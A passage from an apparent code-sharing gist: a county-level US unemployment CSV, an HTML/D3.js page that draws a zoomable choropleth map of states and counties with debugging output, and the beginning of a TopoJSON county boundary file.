02,185,&quot;North Slope Borough, AK&quot;,0.056
02,188,&quot;Northwest Arctic Borough, AK&quot;,0.155
02,195,&quot;Petersburg Borough, AK&quot;,0.089
02,198,&quot;Prince of Wales-Hyder Census Area, AK&quot;,0.125
02,220,&quot;Sitka Borough/city, AK&quot;,0.045
02,230,&quot;Skagway Municipality, AK&quot;,0.115
02,240,&quot;Southeast Fairbanks Census Area, AK&quot;,0.108
02,261,&quot;Valdez-Cordova Census Area, AK&quot;,0.088
02,275,&quot;Wrangell Borough/city, AK&quot;,0.078
02,282,&quot;Yakutat Borough/city, AK&quot;,0.083
02,290,&quot;Yukon-Koyukuk Census Area, AK&quot;,0.18
04,000,Arizona,0.06
04,001,&quot;Apache County, AZ&quot;,0.134
04,003,&quot;Cochise County, AZ&quot;,0.074
04,005,&quot;Coconino County, AZ&quot;,0.066
04,007,&quot;Gila County, AZ&quot;,0.08
04,009,&quot;Graham County, AZ&quot;,0.074
04,011,&quot;Greenlee County, AZ&quot;,0.079
04,012,&quot;La Paz County, AZ&quot;,0.076
04,013,&quot;Maricopa County, AZ&quot;,0.052
04,015,&quot;Mohave County, AZ&quot;,0.08
04,017,&quot;Navajo County, AZ&quot;,0.097
04,019,&quot;Pima County, AZ&quot;,0.056
04,021,&quot;Pinal County, AZ&quot;,0.063
04,023,&quot;Santa Cruz County, AZ&quot;,0.115
04,025,&quot;Yavapai County, AZ&quot;,0.056
04,027,&quot;Yuma County, AZ&quot;,0.218
05,000,Arkansas,0.052
05,001,&quot;Arkansas County, AR&quot;,0.044
05,003,&quot;Ashley County, AR&quot;,0.08
05,005,&quot;Baxter County, AR&quot;,0.057
05,007,&quot;Benton County, AR&quot;,0.039
05,009,&quot;Boone County, AR&quot;,0.051
05,011,&quot;Bradley County, AR&quot;,0.062
05,013,&quot;Calhoun County, AR&quot;,0.058
05,015,&quot;Carroll County, AR&quot;,0.048
05,017,&quot;Chicot County, AR&quot;,0.094
05,019,&quot;Clark County, AR&quot;,0.057
05,021,&quot;Clay County, AR&quot;,0.069
05,023,&quot;Cleburne County, AR&quot;,0.072
05,025,&quot;Cleveland County, AR&quot;,0.058
05,027,&quot;Columbia County, AR&quot;,0.068
05,029,&quot;Conway County, AR&quot;,0.063
05,031,&quot;Craighead County, AR&quot;,0.046
05,033,&quot;Crawford County, AR&quot;,0.054
05,035,&quot;Crittenden County, AR&quot;,0.064
05,037,&quot;Cross County, AR&quot;,0.056
05,039,&quot;Dallas County, AR&quot;,0.074
05,041,&quot;Desha County, AR&quot;,0.076
05,043,&quot;Drew County, AR&quot;,0.071
05,045,&quot;Faulkner County, AR&quot;,0.048
05,047,&quot;Franklin County, AR&quot;,0.052
05,049,&quot;Fulton County, AR&quot;,0.054
05,051,&quot;Garland County, AR&quot;,0.057
05,053,&quot;Grant County, AR&quot;,0.047
05,055,&quot;Greene County, AR&quot;,0.053
05,057,&quot;Hempstead County, AR&quot;,0.052
05,059,&quot;Hot Spring County, AR&quot;,0.052
05,061,&quot;Howard County, AR&quot;,0.044
05,063,&quot;Independence County, AR&quot;,0.067
05,065,&quot;Izard County, AR&quot;,0.069
05,067,&quot;Jackson County, AR&quot;,0.078
05,069,&quot;Jefferson County, AR&quot;,0.072
05,071,&quot;Johnson County, AR&quot;,0.06
05,073,&quot;Lafayette County, AR&quot;,0.079
05,075,&quot;Lawrence County, AR&quot;,0.063
05,077,&quot;Lee County, AR&quot;,0.069
05,079,&quot;Lincoln County, AR&quot;,0.063
05,081,&quot;Little River County, AR&quot;,0.057
05,083,&quot;Logan County, AR&quot;,0.059
05,085,&quot;Lonoke County, AR&quot;,0.043
05,087,&quot;Madison County, AR&quot;,0.039
05,089,&quot;Marion County, AR&quot;,0.054
05,091,&quot;Miller County, AR&quot;,0.052
05,093,&quot;Mississippi County, AR&quot;,0.093
05,095,&quot;Monroe County, AR&quot;,0.063
05,097,&quot;Montgomery County, AR&quot;,0.07
05,099,&quot;Nevada County, AR&quot;,0.052
05,101,&quot;Newton County, AR&quot;,0.051
05,103,&quot;Ouachita County, AR&quot;,0.066
05,105,&quot;Perry County, AR&quot;,0.063
05,107,&quot;Phillips County, AR&quot;,0.079
05,109,&quot;Pike County, AR&quot;,0.062
05,111,&quot;Poinsett County, AR&quot;,0.057
05,113,&quot;Polk County, AR&quot;,0.06
05,115,&quot;Pope County, AR&quot;,0.055
05,117,&quot;Prairie County, AR&quot;,0.048
05,119,&quot;Pulaski County, AR&quot;,0.047
05,121,&quot;Randolph County, AR&quot;,0.074
05,123,&quot;St. Francis County, AR&quot;,0.075
05,125,&quot;Saline County, AR&quot;,0.042
05,127,&quot;Scott County, AR&quot;,0.05
05,129,&quot;Searcy County, AR&quot;,0.058
05,131,&quot;Sebastian County, AR&quot;,0.05
05,133,&quot;Sevier County, AR&quot;,0.064
05,135,&quot;Sharp County, AR&quot;,0.071
05,137,&quot;Stone County, AR&quot;,0.065
05,139,&quot;Union County, AR&quot;,0.064
05,141,&quot;Van Buren County, AR&quot;,0.07
05,143,&quot;Washington County, AR&quot;,0.036
05,145,&quot;White County, AR&quot;,0.065
05,147,&quot;Woodruff County, AR&quot;,0.067
05,149,&quot;Yell County, AR&quot;,0.053
06,000,California,0.062
06,001,&quot;Alameda County, CA&quot;,0.047
06,003,&quot;Alpine County, CA&quot;,0.079
06,005,&quot;Amador County, CA&quot;,0.066
06,007,&quot;Butte County, CA&quot;,0.072
06,009,&quot;Calaveras County, CA&quot;,0.065
06,011,&quot;Colusa County, CA&quot;,0.153
06,013,&quot;Contra Costa County, CA&quot;,0.05
06,015,&quot;Del Norte County, CA&quot;,0.086
06,017,&quot;El Dorado County, CA&quot;,0.057
06,019,&quot;Fresno County, CA&quot;,0.102
06,021,&quot;Glenn County, CA&quot;,0.087
06,023,&quot;Humboldt County, CA&quot;,0.056
06,025,&quot;Imperial County, CA&quot;,0.24
06,027,&quot;Inyo County, CA&quot;,0.058
06,029,&quot;Kern County, CA&quot;,0.102
06,031,&quot;Kings County, CA&quot;,0.105
06,033,&quot;Lake County, CA&quot;,0.077
06,035,&quot;Lassen County, CA&quot;,0.073
06,037,&quot;Los Angeles County, CA&quot;,0.067
06,039,&quot;Madera County, CA&quot;,0.105
06,041,&quot;Marin County, CA&quot;,0.035
06,043,&quot;Mariposa County, CA&quot;,0.072
06,045,&quot;Mendocino County, CA&quot;,0.059
06,047,&quot;Merced County, CA&quot;,0.114
06,049,&quot;Modoc County, CA&quot;,0.088
06,051,&quot;Mono County, CA&quot;,0.061
06,053,&quot;Monterey County, CA&quot;,0.081
06,055,&quot;Napa County, CA&quot;,0.046
06,057,&quot;Nevada County, CA&quot;,0.055
06,059,&quot;Orange County, CA&quot;,0.045
06,061,&quot;Placer County, CA&quot;,0.05
06,063,&quot;Plumas County, CA&quot;,0.104
06,065,&quot;Riverside County, CA&quot;,0.067
06,067,&quot;Sacramento County, CA&quot;,0.06
06,069,&quot;San Benito County, CA&quot;,0.076
06,071,&quot;San Bernardino County, CA&quot;,0.065
06,073,&quot;San Diego County, CA&quot;,0.052
06,075,&quot;San Francisco County/city, CA&quot;,0.036
06,077,&quot;San Joaquin County, CA&quot;,0.089
06,079,&quot;San Luis Obispo County, CA&quot;,0.046
06,081,&quot;San Mateo County, CA&quot;,0.034
06,083,&quot;Santa Barbara County, CA&quot;,0.053
06,085,&quot;Santa Clara County, CA&quot;,0.042
06,087,&quot;Santa Cruz County, CA&quot;,0.075
06,089,&quot;Shasta County, CA&quot;,0.078
06,091,&quot;Sierra County, CA&quot;,0.09
06,093,&quot;Siskiyou County, CA&quot;,0.094
06,095,&quot;Solano County, CA&quot;,0.061
06,097,&quot;Sonoma County, CA&quot;,0.045
06,099,&quot;Stanislaus County, CA&quot;,0.095
06,101,&quot;Sutter County, CA&quot;,0.108
06,103,&quot;Tehama County, CA&quot;,0.08
06,105,&quot;Trinity County, CA&quot;,0.078
06,107,&quot;Tulare County, CA&quot;,0.117
06,109,&quot;Tuolumne County, CA&quot;,0.071
06,111,&quot;Ventura County, CA&quot;,0.057
06,113,&quot;Yolo County, CA&quot;,0.064
06,115,&quot;Yuba County, CA&quot;,0.092
08,000,Colorado,0.039
08,001,&quot;Adams County, CO&quot;,0.043
08,003,&quot;Alamosa County, CO&quot;,0.052
08,005,&quot;Arapahoe County, CO&quot;,0.037
08,007,&quot;Archuleta County, CO&quot;,0.04
08,009,&quot;Baca County, CO&quot;,0.021
08,011,&quot;Bent County, CO&quot;,0.039
08,013,&quot;Boulder County, CO&quot;,0.032
08,014,&quot;Broomfield County/city, CO&quot;,0.033
08,015,&quot;Chaffee County, CO&quot;,0.034
08,017,&quot;Cheyenne County, CO&quot;,0.027
08,019,&quot;Clear Creek County, CO&quot;,0.037
08,021,&quot;Conejos County, CO&quot;,0.056
08,023,&quot;Costilla County, CO&quot;,0.065
08,025,&quot;Crowley County, CO&quot;,0.045
08,027,&quot;Custer County, CO&quot;,0.035
08,029,&quot;Delta County, CO&quot;,0.057
08,031,&quot;Denver County/city, CO&quot;,0.037
08,033,&quot;Dolores County, CO&quot;,0.031
08,035,&quot;Douglas County, CO&quot;,0.031
08,037,&quot;Eagle County, CO&quot;,0.031
08,039,&quot;Elbert County, CO&quot;,0.031
08,041,&quot;El Paso County, CO&quot;,0.046
08,043,&quot;Fremont County, CO&quot;,0.062
08,045,&quot;Garfield County, CO&quot;,0.041
08,047,&quot;Gilpin County, CO&quot;,0.031
08,049,&quot;Grand County, CO&quot;,0.032
08,051,&quot;Gunnison County, CO&quot;,0.029
08,053,&quot;Hinsdale County, CO&quot;,0.03
08,055,&quot;Huerfano County, CO&quot;,0.077
08,057,&quot;Jackson County, CO&quot;,0.037
08,059,&quot;Jefferson County, CO&quot;,0.035
08,061,&quot;Kiowa County, CO&quot;,0.026
08,063,&quot;Kit Carson County, CO&quot;,0.024
08,065,&quot;Lake County, CO&quot;,0.038
08,067,&quot;La Plata County, CO&quot;,0.035
08,069,&quot;Larimer County, CO&quot;,0.033
08,071,&quot;Las Animas County, CO&quot;,0.056
08,073,&quot;Lincoln County, CO&quot;,0.034
08,075,&quot;Logan County, CO&quot;,0.031
08,077,&quot;Mesa County, CO&quot;,0.055
08,079,&quot;Mineral County, CO&quot;,0.037
08,081,&quot;Moffat County, CO&quot;,0.045
08,083,&quot;Montezuma County, CO&quot;,0.056
08,085,&quot;Montrose County, CO&quot;,0.051
08,087,&quot;Morgan County, CO&quot;,0.038
08,089,&quot;Otero County, CO&quot;,0.058
08,091,&quot;Ouray County, CO&quot;,0.043
08,093,&quot;Park County, CO&quot;,0.034
08,095,&quot;Phillips County, CO&quot;,0.024
08,097,&quot;Pitkin County, CO&quot;,0.038
08,099,&quot;Prowers County, CO&quot;,0.041
08,101,&quot;Pueblo County, CO&quot;,0.057
08,103,&quot;Rio Blanco County, CO&quot;,0.053
08,105,&quot;Rio Grande County, CO&quot;,0.063
08,107,&quot;Routt County, CO&quot;,0.032
08,109,&quot;Saguache County, CO&quot;,0.061
08,111,&quot;San Juan County, CO&quot;,0.041
08,113,&quot;San Miguel County, CO&quot;,0.037
08,115,&quot;Sedgwick County, CO&quot;,0.034
08,117,&quot;Summit County, CO&quot;,0.025
08,119,&quot;Teller County, CO&quot;,0.044
08,121,&quot;Washington County, CO&quot;,0.025
08,123,&quot;Weld County, CO&quot;,0.038
08,125,&quot;Yuma County, CO&quot;,0.027
09,000,Connecticut,0.056
09,001,&quot;Fairfield County, CT&quot;,0.053
09,003,&quot;Hartford County, CT&quot;,0.059
09,005,&quot;Litchfield County, CT&quot;,0.05
09,007,&quot;Middlesex County, CT&quot;,0.048
09,009,&quot;New Haven County, CT&quot;,0.061
09,011,&quot;New London County, CT&quot;,0.058
09,013,&quot;Tolland County, CT&quot;,0.048
09,015,&quot;Windham County, CT&quot;,0.062
10,000,Delaware,0.05
10,001,&quot;Kent County, DE&quot;,0.054
10,003,&quot;New Castle County, DE&quot;,0.047
10,005,&quot;Sussex County, DE&quot;,0.05
11,000,District of Columbia,0.069
11,001,District of Columbia,0.069
12,000,Florida,0.054
12,001,&quot;Alachua County, FL&quot;,0.045
12,003,&quot;Baker County, FL&quot;,0.054
12,005,&quot;Bay County, FL&quot;,0.054
12,007,&quot;Bradford County, FL&quot;,0.048
12,009,&quot;Brevard County, FL&quot;,0.059
12,011,&quot;Broward County, FL&quot;,0.05
12,013,&quot;Calhoun County, FL&quot;,0.061
12,015,&quot;Charlotte County, FL&quot;,0.059
12,017,&quot;Citrus County, FL&quot;,0.074
12,019,&quot;Clay County, FL&quot;,0.049
12,021,&quot;Collier County, FL&quot;,0.052
12,023,&quot;Columbia County, FL&quot;,0.054
12,027,&quot;DeSoto County, FL&quot;,0.06
12,029,&quot;Dixie County, FL&quot;,0.061
12,031,&quot;Duval County, FL&quot;,0.057
12,033,&quot;Escambia County, FL&quot;,0.056
12,035,&quot;Flagler County, FL&quot;,0.062
12,037,&quot;Franklin County, FL&quot;,0.046
12,039,&quot;Gadsden County, FL&quot;,0.07
12,041,&quot;Gilchrist County, FL&quot;,0.055
12,043,&quot;Glades County, FL&quot;,0.071
12,045,&quot;Gulf County, FL&quot;,0.051
12,047,&quot;Hamilton County, FL&quot;,0.051
12,049,&quot;Hardee County, FL&quot;,0.067
12,051,&quot;Hendry County, FL&quot;,0.103
12,053,&quot;Hernando County, FL&quot;,0.068
12,055,&quot;Highlands County, FL&quot;,0.074
12,057,&quot;Hillsborough County, FL&quot;,0.05
12,059,&quot;Holmes County, FL&quot;,0.062
12,061,&quot;Indian River County, FL&quot;,0.068
12,063,&quot;Jackson County, FL&quot;,0.058
12,065,&quot;Jefferson County, FL&quot;,0.058
12,067,&quot;Lafayette County, FL&quot;,0.045
12,069,&quot;Lake County, FL&quot;,0.054
12,071,&quot;Lee County, FL&quot;,0.05
12,073,&quot;Leon County, FL&quot;,0.05
12,075,&quot;Levy County, FL&quot;,0.057
12,077,&quot;Liberty County, FL&quot;,0.057
12,079,&quot;Madison County, FL&quot;,0.062
12,081,&quot;Manatee County, FL&quot;,0.05
12,083,&quot;Marion County, FL&quot;,0.064
12,085,&quot;Martin County, FL&quot;,0.052
12,086,&quot;Miami-Dade County, FL&quot;,0.061
12,087,&quot;Monroe County, FL&quot;,0.035
12,089,&quot;Nassau County, FL&quot;,0.05
12,091,&quot;Okaloosa County, FL&quot;,0.045
12,093,&quot;Okeechobee County, FL&quot;,0.062
12,095,&quot;Orange County, FL&quot;,0.049
12,097,&quot;Osceola County, FL&quot;,0.057
12,099,&quot;Palm Beach County, FL&quot;,0.05
12,101,&quot;Pasco County, FL&quot;,0.058
12,103,&quot;Pinellas County, FL&quot;,0.049
12,105,&quot;Polk County, FL&quot;,0.062
12,107,&quot;Putnam County, FL&quot;,0.072
12,109,&quot;St. Johns County, FL&quot;,0.039
12,111,&quot;St. Lucie County, FL&quot;,0.062
12,113,&quot;Santa Rosa County, FL&quot;,0.048
12,115,&quot;Sarasota County, FL&quot;,0.05
12,117,&quot;Seminole County, FL&quot;,0.048
12,119,&quot;Sumter County, FL&quot;,0.075
12,121,&quot;Suwannee County, FL&quot;,0.055
12,123,&quot;Taylor County, FL&quot;,0.066
12,125,&quot;Union County, FL&quot;,0.048
12,127,&quot;Volusia County, FL&quot;,0.057
12,129,&quot;Wakulla County, FL&quot;,0.046
12,131,&quot;Walton County, FL&quot;,0.046
12,133,&quot;Washington County, FL&quot;,0.059
13,000,Georgia,0.058
13,001,&quot;Appling County, GA&quot;,0.071
13,003,&quot;Atkinson County, GA&quot;,0.056
13,005,&quot;Bacon County, GA&quot;,0.055
13,007,&quot;Baker County, GA&quot;,0.073
13,009,&quot;Baldwin County, GA&quot;,0.078
13,011,&quot;Banks County, GA&quot;,0.054
13,013,&quot;Barrow County, GA&quot;,0.052
13,015,&quot;Bartow County, GA&quot;,0.057
13,017,&quot;Ben Hill County, GA&quot;,0.09
13,019,&quot;Berrien County, GA&quot;,0.07
13,021,&quot;Bibb County, GA&quot;,0.066
13,023,&quot;Bleckley County, GA&quot;,0.091
13,025,&quot;Brantley County, GA&quot;,0.073
13,027,&quot;Brooks County, GA&quot;,0.059
13,029,&quot;Bryan County, GA&quot;,0.052
13,031,&quot;Bulloch County, GA&quot;,0.06
13,033,&quot;Burke County, GA&quot;,0.08
13,035,&quot;Butts County, GA&quot;,0.064
13,037,&quot;Calhoun County, GA&quot;,0.061
13,039,&quot;Camden County, GA&quot;,0.055
13,043,&quot;Candler County, GA&quot;,0.056
13,045,&quot;Carroll County, GA&quot;,0.066
13,047,&quot;Catoosa County, GA&quot;,0.051
13,049,&quot;Charlton County, GA&quot;,0.062
13,051,&quot;Chatham County, GA&quot;,0.057
13,053,&quot;Chattahoochee County, GA&quot;,0.088
13,055,&quot;Chattooga County, GA&quot;,0.062
13,057,&quot;Cherokee County, GA&quot;,0.046
13,059,&quot;Clarke County, GA&quot;,0.059
13,061,&quot;Clay County, GA&quot;,0.113
13,063,&quot;Clayton County, GA&quot;,0.075
13,065,&quot;Clinch County, GA&quot;,0.068
13,067,&quot;Cobb County, GA&quot;,0.05
13,069,&quot;Coffee County, GA&quot;,0.066
13,071,&quot;Colquitt County, GA&quot;,0.064
13,073,&quot;Columbia County, GA&quot;,0.05
13,075,&quot;Cook County, GA&quot;,0.066
13,077,&quot;Coweta County, GA&quot;,0.052
13,079,&quot;Crawford County, GA&quot;,0.061
13,081,&quot;Crisp County, GA&quot;,0.069
13,083,&quot;Dade County, GA&quot;,0.054
13,085,&quot;Dawson County, GA&quot;,0.05
13,087,&quot;Decatur County, GA&quot;,0.067
13,089,&quot;DeKalb County, GA&quot;,0.059
13,091,&quot;Dodge County, GA&quot;,0.083
13,093,&quot;Dooly County, GA&quot;,0.075
13,095,&quot;Dougherty County, GA&quot;,0.077
13,097,&quot;Douglas County, GA&quot;,0.062
13,099,&quot;Early County, GA&quot;,0.068
13,101,&quot;Echols County, GA&quot;,0.047
13,103,&quot;Effingham County, GA&quot;,0.05
13,105,&quot;Elbert County, GA&quot;,0.074
13,107,&quot;Emanuel County, GA&quot;,0.085
13,109,&quot;Evans County, GA&quot;,0.055
13,111,&quot;Fannin County, GA&quot;,0.06
13,113,&quot;Fayette County, GA&quot;,0.051
13,115,&quot;Floyd County, GA&quot;,0.066
13,117,&quot;Forsyth County, GA&quot;,0.044
13,119,&quot;Franklin County, GA&quot;,0.063
13,121,&quot;Fulton County, GA&quot;,0.058
13,123,&quot;Gilmer County, GA&quot;,0.058
13,125,&quot;Glascock County, GA&quot;,0.066
13,127,&quot;Glynn County, GA&quot;,0.06
13,129,&quot;Gordon County, GA&quot;,0.057
13,131,&quot;Grady County, GA&quot;,0.06
13,133,&quot;Greene County, GA&quot;,0.07
13,135,&quot;Gwinnett County, GA&quot;,0.051
13,137,&quot;Habersham County, GA&quot;,0.056
13,139,&quot;Hall County, GA&quot;,0.047
13,141,&quot;Hancock County, GA&quot;,0.1
13,143,&quot;Haralson Cou</code></pre><p><em>Truncated — <a href="https://gist.github.com/d8b87b4d3d74944be837e21f12ec0b7e">view the full gist</a>.</em></p>
<h3>index.html</h3><pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;meta charset=&quot;utf-8&quot;&gt;
&lt;style&gt;
body { background: transparent; }
path { stroke: #333; stroke-width: 1; }
path:hover { stroke-width: 3; }
  #console {
    font-size: 11px;
    font-family: &quot;Courier&quot;, &quot;fixed-width&quot;;
    width: 400px;
    height: 150px;
    position: fixed;
    top: 0;
		left: 0;
    padding: 4px;
    overflow: auto;
    background-color: white;
    border: 2px solid black;
  }
  #console p {
    margin-top: 1px;
    margin-bottom: 0
  }
  svg {
    border: 5px solid red;
  }
  path {
    stroke: white;
  }
&lt;/style&gt;
&lt;body&gt;
&lt;script src=&quot;//cdnjs.cloudflare.com/ajax/libs/d3/3.5.17/d3.min.js&quot;&gt;&lt;/script&gt;
&lt;!-- &lt;script src=&quot;http://d3js.org/queue.v1.min.js&quot;&gt;&lt;/script&gt; --&gt;

&lt;script src=&quot;//d3js.org/topojson.v1.min.js&quot;&gt;&lt;/script&gt;
  
  &lt;div id=&quot;console&quot;&gt;&lt;/div&gt;
  
&lt;svg id=&quot;zoomy-map&quot; width=&quot;400&quot; height=&quot;300&quot;&gt;&lt;/svg&gt;
  
&lt;script&gt;


  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;v0.2&apos;)

  
  
  
var width = 960
var height = 600
var padding = 20

var allData = []

var color = d3.scale.threshold()
    .domain([0.028, 0.038, 0.048, 0.058, 0.068, 0.078])
    .range([&apos;#4d9221&apos;, &apos;#a1d76a&apos;, &apos;#e6f5d0&apos;, &apos;#f7f7f7&apos;, &apos;#fde0ef&apos;, &apos;#e9a3c9&apos;, &apos;#c51b7d&apos;])

var projection = d3.geo.albers()
    .precision(0)
    .scale(height * 2).translate([width / 2, height / 2])

var path = d3.geo.path().projection(projection)

var svg = d3.select(&apos;#zoomy-map&apos;)
    //.append(&apos;svg&apos;)
    .attr(&apos;width&apos;, width)
    .attr(&apos;height&apos;, height)

	svg.append(&apos;rect&apos;)
    .attr(&apos;width&apos;, 100)
    .attr(&apos;height&apos;, 100)
    .attr(&apos;fill&apos;,&apos;red&apos;)
  	.attr(&apos;transform&apos;, &apos;translate(200,200)&apos;)
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;width &apos;+width)
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;height &apos;+height)


/*
queue()
    .defer(d3.csv, &apos;data.csv&apos;, function (d) {
        return {
            id: +(d.state + d.county),
            state: d.state,
            county: d.county,
            unemployment: +d.unemployment
        }
    })
    .defer(d3.json, &apos;us-states.json&apos;)
    .defer(d3.json, &apos;us-counties.json&apos;)
    .awaitAll(initialize)
*/

d3.csv(&apos;data.csv&apos;, function(error, data){
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;data.csv loaded&apos;)
  allData.push(data)
 
  
  d3.json(&apos;us-states.json&apos;, function(error, data){
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-states.json loaded&apos;)
    allData.push(data)
    
    d3.json(&apos;us-counties.json&apos;, function(error, data){
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-counties.json loaded&apos;)
      
      allData.push(data)
      allData[0].forEach(function(d,i){
        if(i&lt;10){ console.log(&apos;foreach d&apos;, d)}
        allData[0][i] = {
        &apos;id&apos;: +(d.state + d.county),
         &apos;county&apos;: d.county,
        &apos;state&apos;: d.state,
        &apos;unemployment&apos;: +d.unemployment
        }
      })
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[0] length: &apos;+allData[0].length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[1] length: &apos;+allData[1].arcs.length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[2] length: &apos;+allData[2].arcs.length)
      
      console.log(&apos;======&gt; alldata&apos;, allData)
      initialize({},allData)
    })
  })
})

function initialize(error, results) {
    //if (error) { throw error }
  
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;running initialize()&apos;)

    var data = results[0]
    var states = topojson.feature(results[1], results[1].objects.states).features
    var counties = topojson.feature(results[2], results[2].objects.counties).features
    
    console.log(&apos;states --&gt;&apos;, states)

    states.forEach(function (f,i) {
      
      	if(i&lt;5){ 
            //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;state data &apos;+JSON.stringify(f))
          //console.log(&apos;--&gt; f &apos;,f, &apos;f.id&apos;, f.id)
          //console.log(&apos;--&gt; data find&apos;, data.find(function (d,i) {
            //if(i&lt;10){ console.log(&apos;--&gt; find d&apos;, d)}
            //return d.id === f.id
          //}))    
        }
        f.properties = data.find(function (d) { return d.id === f.id })
    })
    
    console.log(&apos;states after foreach ==&gt;&apos;, states)

    counties.forEach(function (f) {
        f.properties = data.find(function (d) { return d.id === f.id }) || {}
    })

    var statePaths = svg.selectAll(&apos;.state&apos;)
        .data(states)
        .enter().append(&apos;path&apos;)
        .attr(&apos;class&apos;, &apos;state&apos;)
        .attr(&apos;d&apos;, path)
        .style(&apos;fill&apos;, function (d) { 
          //console.log(d)
          return color(d.properties.unemployment) 
        })
        .on(&apos;click&apos;, function (d) { stateZoom(d.id) })

    function usZoom() {
      	alert(&quot;US Zoom&quot;);
        var t = d3.transition().duration(800)

        projection.scale(height * 2).translate([width / 2, height / 2])

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })

        svg.selectAll(&apos;.county&apos;)
            .data([])
            .exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }

    function stateZoom(id) {
				alert(&quot;State Zoom&quot;);
        var state = states.find(function (d) { return d.id === id })
        var stateCounties = counties.filter(function (d) {
            return d.id &gt; id &amp;&amp; d.id &lt; id + 1000
        })

        var t = d3.transition().duration(800)

        var countyPaths = svg.selectAll(&apos;.county&apos;)
            .data(stateCounties, function (d) { return d.id })

        var enterCountyPaths = countyPaths.enter().append(&apos;path&apos;)
            .attr(&apos;class&apos;, &apos;county&apos;)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })
            .style(&apos;opacity&apos;, 0)
            .on(&apos;click&apos;, function () { usZoom() })

        projection.fitExtent(
            [[padding, padding], [width - padding, height - padding]],
            state
        )

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, &apos;#444&apos;)

        enterCountyPaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 1)

        countyPaths.exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }
}

&lt;/script&gt;
&lt;/body&gt;
</code></pre>
<h3>us-counties.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;counties&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;bbox&quot;:[-179.1473399999999,17.67439566600018,179.7784800000003,71.38921046500008],&quot;geometries&quot;:[{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53073,&quot;arcs&quot;:[[[0,1,2]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30105,&quot;arcs&quot;:[[3,4,5,6,7,8]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30029,&quot;arcs&quot;:[[9,10,11,12,13,14,15,16,17,18]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16021,&quot;arcs&quot;:[[19,20,21,22]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30071,&quot;arcs&quot;:[[-8,23,24,25,26,27]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38079,&quot;arcs&quot;:[[28,29,30,31]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30053,&quot;arcs&quot;:[[-18,32,33,-20,34]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38009,&quot;arcs&quot;:[[-30,35,36,37,38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30035,&quot;arcs&quot;:[[39,40,-10,41]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30041,&quot;arcs&quot;:[[42,43,44,45]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30005,&quot;arcs&quot;:[[-27,46,47,-46,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30019,&quot;arcs&quot;:[[49,50,-4,51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38067,&quot;arcs&quot;:[[52,53,54,55]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27069,&quot;arcs&quot;:[[56,57,-53,58]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38095,&quot;arcs&quot;:[[59,60,61,-32,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38019,&quot;arcs&quot;:[[-55,64,65,-64,66]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53047,&quot;arcs&quot;:[[67,68,69,70,71,72,-1,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53065,&quot;arcs&quot;:[[74,75,76,77,78]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53051,&quot;arcs&quot;:[[-22,79,80,-75,81]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53019,&quot;arcs&quot;:[[-78,82,-68,83]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30051,&quot;arcs&quot;:[[84,85,86,-44,87]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38023,&quot;arcs&quot;:[[88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38013,&quot;arcs&quot;:[[92,93,94,95,-89,96]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30101,&quot;arcs&quot;:[[97,-86,98,-40]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38075,&quot;arcs&quot;:[[99,100,-93,101,-38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27135,&quot;arcs&quot;:[[102,103,-57,104,105]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30091,&quot;arcs&quot;:[[-91,106,107,-50,108]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16017,&quot;arcs&quot;:[[-34,109,110,111,112,